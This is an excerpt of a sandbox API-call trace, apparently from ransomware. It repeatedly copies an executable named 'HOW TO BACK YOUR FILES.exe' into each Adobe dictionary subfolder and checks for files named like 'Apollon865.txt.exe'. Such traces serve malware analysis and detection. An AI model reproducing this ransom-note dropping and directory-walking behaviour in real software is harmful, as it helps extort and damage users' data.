	[0044.245] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl"
	[0044.245] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a2e0 | out: hHeap=0x580000) returned 1
	[0044.245] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0044.245] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl") returned 105
	[0044.245] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl"
	[0044.245] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.245] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\itl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.249] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.249] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x3272af70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3272af70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.249] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.249] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.249] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm"
	[0044.249] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a200 | out: hHeap=0x580000) returned 1
	[0044.249] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0044.249] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm") returned 105
	[0044.249] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm"
	[0044.249] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.249] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\grm\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.253] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.253] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x3272af70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3272af70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.253] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.253] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.253] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn"
	[0044.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a120 | out: hHeap=0x580000) returned 1
	[0044.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0044.253] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn") returned 105
	[0044.253] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn"
	[0044.253] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.253] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\frn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.257] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.257] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x3272af70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3272af70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.257] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.257] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.257] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng"
	[0044.257] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a040 | out: hHeap=0x580000) returned 1
	[0044.257] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0044.257] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng") returned 105
	[0044.257] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng"
	[0044.258] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.258] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\eng\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.262] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.262] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x327510d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x327510d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.262] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.262] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.262] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut"
	[0044.262] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0044.262] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0044.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut") returned 105
	[0044.262] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut"
	[0044.262] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.262] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\dut\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.266] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.266] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x327510d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x327510d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.266] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.266] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.266] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan"
	[0044.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599cb8 | out: hHeap=0x580000) returned 1
	[0044.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0044.267] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan") returned 105
	[0044.267] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan"
	[0044.267] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.267] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\dan\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.270] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.270] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x327510d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x327510d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.271] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.271] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.271] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz"
	[0044.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0044.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0044.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz") returned 105
	[0044.271] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz"
	[0044.271] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.271] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\brz\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.276] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.276] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x327510d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x327510d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.276] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.276] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.276] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt"
	[0044.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599530 | out: hHeap=0x580000) returned 1
	[0044.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0044.277] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt") returned 105
	[0044.277] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt"
	[0044.277] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.277] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\brt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.280] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.280] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x32777230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32777230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.281] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.281] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.281] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all"
	[0044.281] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0044.281] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0044.281] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all") returned 105
	[0044.281] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all"
	[0044.281] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.281] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\all\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.285] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
